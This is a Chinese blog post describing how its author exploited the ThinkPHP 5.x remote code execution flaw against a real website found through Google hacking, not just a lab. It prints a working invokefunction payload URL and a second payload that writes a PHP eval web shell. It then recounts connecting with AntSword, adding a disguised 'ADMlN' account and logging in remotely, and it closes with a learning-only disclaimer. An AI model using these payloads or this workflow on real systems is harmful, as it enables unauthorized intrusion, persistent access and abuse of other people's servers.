漏洞复现 | Thinkphp5.x远程代码执行漏洞了解一哈

  • 2019 年 10 月 7 日
  • 筆記

0、序

晚上闲来无事,复习不想复习,看书看不进去,打开电脑也不知道要干啥,索性就找个漏洞玩吧,下午正好注册了一个在线靶场环境,其中有个Think PHP5.0吸引了我,因为在12月9号这个漏洞爆出来的时候当时一度尝试复现这个漏洞都没有成功,最后就不了了之,so 那就打开看看吧。

说实话,这个界面是真的好看,而且流畅度也很不错,比某亚的要好的太多,尽管如此,做着做着也就没啥意思了,那为什么不去网上找找呢,权当练练手,而且之前一直没有成功,那就让我们先找到存在漏洞的目标。

1、Google Hacking

利用Google Hacking很轻松便可以找到一些使用ThinkPHP框架的网站,但并不是每个都存在这个远程命令执行的漏洞,在找寻验证了一番后终于找到了一个,哈哈。

2、POC验证

对目标执行下面POC如果出现phpinfo页面便可以说明存在漏洞了,不过还需要根据目标情况来判断使用哪个POC,反正多尝试几个,下面的POC是我尝试成功的一个。

/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3、写入木马

确定存在漏洞后便可以对其写入一句话啦,下面的POC可以在目标系统网站根目录下写入内容为<?php eval($_POST[test]);?>的test.php文件,接着就可以直接用蚁剑连接了,尝试了好几个一句话,这个是成功的一个。

/index.php/?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php eval($_POST[test]);?>

4、对目标进行添加管理员账号

连上虚拟终端后,便可以对其新建管理员用户了,不过感觉蚁剑是真的慢,好在能连上,试了一下菜刀,连都连不上。下面添加了一个ADMlN用户,不过貌似提升为管理员用户的命令没有成功被执行。

5、远程登陆

利用自己创建的用户名对其远程登陆,就像下面这样:

OK,连接成功

6、总结:

整体过程中碰到最大的问题就是蚁剑有点不给力,总觉着有时它会掉线,这次渗透测试也是给自己练练手,也可以说是碰巧找到一个比较弱的系统,然后才比较顺利,最后也是提醒各位网站管理员,一定要检查一下自己的网站是不是存在含有漏洞的组件。


严禁将本文内容用于犯罪目的,本文仅用作学习目的,另外由于本人水平有限,文中出现问题在所难免,还请各位看官见谅。